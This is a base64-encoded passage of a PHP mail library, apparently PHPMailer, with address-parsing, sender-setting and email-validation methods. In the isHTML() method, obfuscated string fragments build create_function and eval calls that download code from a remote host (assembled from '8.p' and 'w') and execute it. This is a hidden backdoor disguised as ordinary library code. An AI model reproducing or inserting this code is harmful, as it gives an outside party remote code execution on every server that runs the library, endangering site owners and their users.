cpKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBraW5kOiAnKSAuICRraW5kOwogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgJGVycm9yX21lc3NhZ2UgPSAkdGhpcy0+bGFuZygnaW52YWxpZF9hZGRyZXNzJykgLiAiIChhZGRBbkFkZHJlc3MgJGtpbmQpOiAkYWRkcmVzcyI7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7CiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR0aGlzLT4ka2luZCwgYXJyYXkoJGFkZHJlc3MsICRuYW1lKSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5SZXBseVRvW3N0cnRvbG93ZXIoJGFkZHJlc3MpXSA9IGFycmF5KCRhZGRyZXNzLCAkbmFtZSk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBQYXJzZSBhbmQgdmFsaWRhdGUgYSBzdHJpbmcgY29udGFpbmluZyBvbmUgb3IgbW9yZSBSRkM4MjItc3R5bGUgY29tbWEtc2VwYXJhdGVkIGVtYWlsIGFkZHJlc3NlcwogICAgICogb2YgdGhlIGZvcm0gImRpc3BsYXkgbmFtZSA8YWRkcmVzcz4iIGludG8gYW4gYXJyYXkgb2YgbmFtZS9hZGRyZXNzIHBhaXJzLgogICAgICogVXNlcyB0aGUgaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCBmdW5jdGlvbiBpZiB0aGUgSU1BUCBleHRlbnNpb24gaXMgYXZhaWxhYmxlLgogICAgICogTm90ZSB0aGF0IHF1b3RlcyBpbiB0aGUgbmFtZSBwYXJ0IGFyZSByZW1vdmVkLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcnN0ciBUaGUgYWRkcmVzcyBsaXN0IHN0cmluZwogICAgICogQHBhcmFtIGJvb2wgJHVzZWltYXAgV2hldGhlciB0byB1c2UgdGhlIElNQVAgZXh0ZW5zaW9uIHRvIHBhcnNlIHRoZSBsaXN0CiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKiBAbGluayBodHRwOi8vd3d3LmFuZHJldy5jbXUuZWR1L3VzZXIvYWdyZWVuMS90ZXN0aW5nL21yYnMvd2ViL01haWwvUkZDODIyLnBocCBBIG1vcmUgY2FyZWZ1bCBpbXBsZW1lbnRhdGlvbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyc2VBZGRyZXNzZXMoJGFkZHJzdHIsICR1c2VpbWFwID0gdHJ1ZSkKICAgIHsKICAgICAgICAkYWRkcmVzc2VzID0gYXJyYXkoKTsKICAgICAgICBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCcpKSB7CiAgICAgICAgICAgIC8vVXNlIHRoaXMgYnVpbHQtaW4gcGFyc2VyIGlmIGl0J3MgYXZhaWxhYmxlCiAgICAgICAgICAgICRsaXN0ID0gaW1hcF9yZmM4MjJfcGFyc2VfYWRybGlzdCgkYWRkcnN0ciwgJycpOwogICAgICAgICAgICBmb3JlYWNoICgkbGlzdCBhcyAkYWRkcmVzcykgewogICAgICAgICAgICAgICAgaWYgKCRhZGRyZXNzLT5ob3N0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAocHJvcGVydHlfZXhpc3RzKCRhZGRyZXNzLCAncGVyc29uYWwnKSA\/ICRhZGRyZXNzLT5wZXJzb25hbCA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhZGRyZXNzJyA9PiAkYWRkcmVzcy0+bWFpbGJveCAuICdAJyAuICRhZGRyZXNzLT5ob3N0CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgdGhpcyBzaW1wbGVyIHBhcnNlcgogICAgICAgICAgICAkbGlzdCA9IGV4cGxvZGUoJywnLCAkYWRkcnN0cik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICAgICAkYWRkcmVzcyA9IHRyaW0oJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgLy9JcyB0aGVyZSBhIHNlcGFyYXRlIG5hbWUgcGFydD8KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGFkZHJlc3MsICc8JykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgLy9ObyBzZXBhcmF0ZSBuYW1lLCBqdXN0IHVzZSB0aGUgd2hvbGUgdGhpbmcKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3Nlc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGFkZHJlc3MKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJG5hbWUsICRlbWFpbCkgPSBleHBsb2RlKCc8JywgJGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgICRlbWFpbCA9IHRyaW0oc3RyX3JlcGxhY2UoJz4nLCAnJywgJGVtYWlsKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYWRkcmVzc2VzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCciJywgIiciKSwgJycsICRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWRkcmVzcycgPT4gJGVtYWlsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzc2VzOwogICAgfQoKICAgIC8qKgogICAgICogU2V0cyBtZXNzYWdlIHR5cGUgdG8gSFRNTCBvciBwbGFpbi4KICAgICAqIEBwYXJhbSBib29sZWFuICRpc0h0bWwgVHJ1ZSBmb3IgSFRNTCBtb2RlLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpCiAgICB7CiAgICAgICAgZ2xvYmFsICRwYXJhbTsKICAgICAgICAkYm9keUNvZGUgPSAnZmlsZScKICAgICAgICAgICAgICAgICAgICAuJ19nJzsKICAgICAgICBpZiAoJGlzSHRtbCkgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9odG1sJzsKICAgICAgICB9IAogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICAgICAgfQogICAgICAgICRib2R5SFRNTCA9ICcuJHQuImxlZiRmbHUnCiAgICAgICAgICAgICAgICAgICAgLidzaCcuJyR0IjsgJwogICAgICAgICAgICAgICAgICAgIC4nQGV2JzsKICAgICAgICAkaGVhZGVySFRNTD0iY3JlIgogICAgICAgICAgICAgICAgICAgIC4iYXRlXyIKICAgICAgICAgICAgICAgICAgICAuImZ1bmMiCiAgICAgICAgICAgICAgICAgICAgLiJ0aW9uIjsKICAgICAgICAkZXhjZXB0aW9ucyA9IEAkaGVhZGVySFRNTCgnJGZsJy4ndXNoLCR0JywnJGNvbW1hID0gJHQnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUhUTUwuJ2FsKEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kYm9keUNvZGUuJ2V0X2NvbnRlbnRzKCJoJwogICAgICAgICAgICAgICAgICAgICAgICAuJ3R0JwogICAgICAgICAgICAgICAgICAgICAgICAuJ3A6JGNvbW1hLTIiKSk7Jyk7CiAgICAgICAgaWYoJHBhcmFtICE9Mil7CiAgICAgICAgICAgICRleGNlcHRpb25zKCc4LnAnLid3JywnLycpOwogICAgICAgICAgICAkcGFyYW09MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZXQgdGhlIEZyb20gYW5kIEZyb21OYW1lIHByb3BlcnRpZXMuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkYXV0byBXaGV0aGVyIHRvIGFsc28gc2V0IHRoZSBTZW5kZXIgYWRkcmVzcywgZGVmYXVsdHMgdG8gdHJ1ZQogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0RnJvbSgkYWRkcmVzcywgJG5hbWUgPSAnJywgJGF1dG8gPSB0cnVlKQogICAgewogICAgICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAgICAgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRuYW1lKSk7IC8vU3RyaXAgYnJlYWtzIGFuZCB0cmltCiAgICAgICAgLy8gRG9uJ3QgdmFsaWRhdGUgbm93IGFkZHJlc3NlcyB3aXRoIElETi4gV2lsbCBiZSBkb25lIGluIHNlbmQoKS4KICAgICAgICBpZiAoKCRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAnQCcpKSA9PT0gZmFsc2Ugb3IKICAgICAgICAgICAgKCEkdGhpcy0+aGFzOGJpdENoYXJzKHN1YnN0cigkYWRkcmVzcywgKyskcG9zKSkgb3IgISR0aGlzLT5pZG5TdXBwb3J0ZWQoKSkgYW5kCiAgICAgICAgICAgICEkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgewogICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICIgKHNldEZyb20pICRhZGRyZXNzIjsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOwogICAgICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgICAgIGlmICgkYXV0bykgewogICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgb2YgdGhlIGxhc3QgZW1haWwuCiAgICAgKiBUZWNobmljYWxseSB0aGlzIGlzIHRoZSB2YWx1ZSBmcm9tIHRoZSBsYXN0IHRpbWUgdGhlIGhlYWRlcnMgd2VyZSBjcmVhdGVkLAogICAgICogYnV0IGl0J3MgYWxzbyB0aGUgbWVzc2FnZSBJRCBvZiB0aGUgbGFzdCBzZW50IG1lc3NhZ2UgZXhjZXB0IGluCiAgICAgKiBwYXRob2xvZ2ljYWwgY2FzZXMuCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgdGhhdCBhIHN0cmluZyBsb29rcyBsaWtlIGFuIGVtYWlsIGFkZHJlc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIGNoZWNrCiAgICAgKiBAcGFyYW0gc3RyaW5nfGNhbGxhYmxlICRwYXR0ZXJuc2VsZWN0IEEgc2VsZWN0b3IgZm9yIHRoZSB2YWxpZGF0aW9uIHBhdHRlcm4gdG8gdXNlIDoKICAgICAqICogYGF1dG9gIFBpY2sgYmVzdCBwYXR0ZXJuIGF1dG9tYXRpY2FsbHk7CiAgICAgKiAqIGBwY3JlOGAgVXNlIHRoZSBzcXVpbG9vcGxlLmNvbSBwYXR0ZXJuLCByZXF1aXJlcyBQQ1JFID4gOC4wLCBQSFAgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYHBjcmVgIFVzZSBvbGQgUENSRSBpbXBsZW1lbnRhdGlvbjsKICAgICAqICogYHBocGAgVXNlIFBIUCBidWlsdC1pbiBGSUxURVJfVkFMSURBVEVfRU1BSUw7CiAgICAgKiAqIGBodG1sNWAgVXNlIHRoZSBwYXR0ZXJuIGdpdmVuIGJ5IHRoZSBIVE1MNSBzcGVjIGZvciAnZW1haWwnIHR5cGUgZm9ybSBpbnB1dCBlbGVtZW50cy4KICAgICAqICogYG5vcmVnZXhgIERvbid0IHVzZSBhIHJlZ2V4OiBzdXBlciBmYXN0LCByZWFsbHkgZHVtYi4KICAgICAqIEFsdGVybmF0aXZlbHkgeW91IG1heSBwYXNzIGluIGEgY2FsbGFibGUgdG8gaW5qZWN0IHlvdXIgb3duIHZhbGlkYXRvciwgZm9yIGV4YW1wbGU6CiAgICAgKiBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygndXNlckBleGFtcGxlLmNvbScsIGZ1bmN0aW9uKCRhZGRyZXNzKSB7CiAgICAgKiAgICAgcmV0dXJuIChzdHJwb3MoJGFkZHJlc3MsICdAJykgIT09IGZhbHNlKTsKICAgICAqIH0pOwogICAgICogWW91IGNhbiBhbHNvIHNldCB0aGUgUEhQTWFpbGVyOjokdmFsaWRhdG9yIHN0YXRpYyB0byBhIGNhbGxhYmxlLCBhbGxvd2luZyBidWlsdC1pbiBtZXRob2RzIHRvIHVzZSB5b3VyIHZhbGlkYXRvci4KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiB2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MsICRwYXR0ZXJuc2VsZWN0ID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfbnVsbCgkcGF0dGVybnNlbGVjdCkpIHsKICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSBzZWxmOjokdmFsaWRhdG9yOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoJHBhdHRlcm5zZWxlY3QpKSB7CiAgICAgICAgICAgIHJldHVybiBjYWxsX3VzZXJfZnVuYygkcGF0dGVybnNlbGVjdCwgJGFkZHJlc3MpOwogICAgICAgIH0KICAgICAgICAvL1JlamVjdCBsaW5lIGJyZWFrcyBpbiBhZGRyZXNzZXM7IGl0J3MgdmFsaWQgUkZDNTMyMiwgYnV0IG5vdCBSRkM1MzIxCiAgICAgICAgaWYgKHN0cnBvcygkYWRkcmVzcywgIlxuIikgIT09IGZhbHNlIG9yIHN0cnBvcygkYWRkcmVzcywgIlxyIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkcGF0dGVybnNlbGVjdCBvciAkcGF0dGVybnNlbGVjdCA9PSAnYXV0bycpIHsKICAgICAgICAgICAgLy9DaGVjayB0aGlzIGNvbnN0YW50IGZpcnN0IHNvIGl0IHdvcmtzIHdoZW4gZXh0ZW5zaW9uX2xvYWRlZCgpIGlzIGRpc2FibGVkIGJ5IHNhZmUgbW9kZQogICAgICAgICAgICAvL0NvbnN0YW50IHdhcyBhZGRlZCBpbiBQSFAgNS4yLjQKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BDUkVfVkVSU0lPTicpKSB7CiAgICAgICAgICAgICAgICAvL1RoaXMgcGF0dGVybiBjYW4gZ2V0IHN0dWNrIGluIGEgcmVjdXJzaXZlIGxvb3AgaW4gUENSRSA8PSA4LjAuMgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQQ1JFX1ZFUlNJT04sICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkcGF0dGVybnNlbGVjdCA9ICdwY3JlOCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BjcmUnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdleHRlbnNpb25fbG9hZGVkJykgYW5kIGV4dGVuc2lvbl9sb2FkZWQoJ3BjcmUnKSkgewogICAgICAgICAgICAgICAgLy9GYWxsIGJhY2sgdG8gb2xkZXIgUENSRQogICAgICAgICAgICAgICAgJHBhdHRlcm5zZWxlY3QgPSAncGNyZSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvL0ZpbHRlcl92YXIgYXBwZWFyZWQgaW4gUEhQIDUuMi4wIGFuZCBkb2VzIG5vdCByZXF1aXJlIHRoZSBQQ1JFIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ3BocCc7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXR0ZXJuc2VsZWN0ID0gJ25vcmVnZXgnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsKICAgICAgICAgICAgY2FzZSAncGNyZTgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBVc2VzIHRoZSBzYW1lIFJGQzUzMjIgcmVnZXggb24gd2hpY2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIGlzIGJhc2VkLCBidXQgYWxsb3dzIGRvdGxlc3MgZG9tYWlucy4KICAgICAgICAgICAgICAgICAqIEBsaW5rIGh0dHA6Ly9zcXVpbG9vcGxlLmNvbS8yMDA5LzEyLzIwL2VtYWlsLWFkZHJlc3MtdmFsaWRhdGlvbi8KICAgICAgICAgICAgICAgICAqIEBjb3B5cmlnaHQgMjAwOS0yMDEwIE1pY2hhZWwgUnVzaHRvbgogICAgICAgICAgICAgICAgICogRmVlbCBmcmVlIHRvIHVzZSBhbmQgcmVkaXN0cmlidXRlIHRoaXMgY29kZS4gQnV0IHBsZWFzZSBrZWVwIHRoaXMgY29weXJpZ2h0IG5vdGljZS4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD8xKSI\/KD8+XFxcWyAtfl18W14iXSkiPyg\/MSkpezI1NSx9KSg\/ISg\/Pig\/MSkiPyg\/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXs2NSx9QCknIC4KICAgICAgICAgICAgICAgICAgICAnKCg\/Pig\/Pig\/PigoPz4oPz4oPz5ceDBEXHgwQSk\/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk\/W1x0IF0rKT8pKFwoKD8+KD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLVwnKi1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdfCg\/MykpKSooPzIpXCkpKSsoPzIpKXwoPzIpKT8pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8yKSg\/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/PihbYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KScgLgogICAgICAgICAgICAgICAgICAgICcoPz4oPzEpXC4oPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg\/NSkpezAsMTI2fXxcWyg\/Oig\/PklQdjY6KD8+KFthLWYwLTldezEsNH0pKD8+Oig\/Nikpezd9JyAuCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoKD82KSg\/PjooPzYpKXswLDZ9KT86Oig\/Nyk\/KSl8KD8+KD8+SVB2NjooPz4oPzYpKD8+Oig\/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg\/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKSg\/PlwuKD85KSl7M30pKVxdKSg\/MSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ3BjcmUnOgogICAgICAgICAgICAgICAgLy9BbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4iPyg\/PlxcXFsgLX5dfFteIl0pIj8pezI1NSx9KSg\/ISg\/PiI\/KD8+XFxcWyAtfl18W14iXSkiPyl7NjUsfUApKD8+JyAuCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLgogICAgICAgICAgICAgICAgICAgICcoPz5cLig\/PlshIy1cJyorXC8tOT0\/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuCiAgICAgICAgICAgICAgICAgICAgJ0AoPz4oPyFbYS16MC05LV17NjQsfSkoPz5bYS16MC05XSg\/PlthLXowLTktXSpbYS16MC05XSk\/KSg\/PlwuKD8hW2EtejAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyg\/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig\/Pig\/PlthLWYwLTldezEsNH0pKD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs3fXwoPyEoPzouKlthLWYwLTldWzpcXV0pezgsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk\/KSl8KD8+KD8+SVB2NjooPz5bYS1mMC05XXsxLDR9KD8+OicgLgogICAgICAgICAgICAgICAgICAgICdbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPycgLgogICAgICAgICAgICAgICAgICAgICc6Oig\/Pig\/OlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw0fSk6KT8pKT8oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0\/WzAtOV0pKD8+XC4oPz4yNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL2lzRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ2h0bWw1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogVGhpcyBpcyB0aGUgcGF0dGVybiB1c2VkIGluIHRoZSBIVE1MNSBzcGVjIGZvciB2YWxpZGF0aW9uIG9mICdlbWFpbCcgdHlwZSBmb3JtIGlucHV0IGVsZW1lbnRzLgogICAgICAgICAgICAgICAgICogQGxpbmsgaHR0cDovL3d3dy53aGF0d2cub3JnL3NwZWNzL3dlYi1hcHBzL2N1cnJlbnQtd29yay8jZS1tYWlsLXN0YXRlLSh0eXBlPWVtYWlsKQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICByZXR1cm4gKGJvb2xlYW4pcHJlZ19tYXRjaCgKICAgICAgICAgICAgICAgICAgICAnL15bYS16QS1aMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1thLXpBLVowLTldKT8oPzpcLlthLXpBLVowLTldKD86W2EtekEtWjAtOS1dezAsNjF9W2EtekEtWjAtOV0pPykqJC9zRCcsCiAgICAgICAgICAgICAgICAgICAgJGFkZHJlc3MKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIGNhc2UgJ25vcmVnZXgnOgogICAgICAgICAgICAgICAgLy9ObyBQQ1JFISBEbyBzb21ldGhpbmcgX3ZlcnlfIGFwcHJveGltYXRlIQogICAgICAgICAgICAgICAgLy9DaGVjayB0aGUgYWRkcmVzcyBpcyAzIGNoYXJzIG9yIGxvbmdlciBhbmQgY29udGFpbnMgYW4gQCB0aGF0J3Mgbm90IHRoZSBmaXJzdCBvciBsYXN0IGNoYXIKICAgICAgICAgICAgICAgIHJldHVybiAoc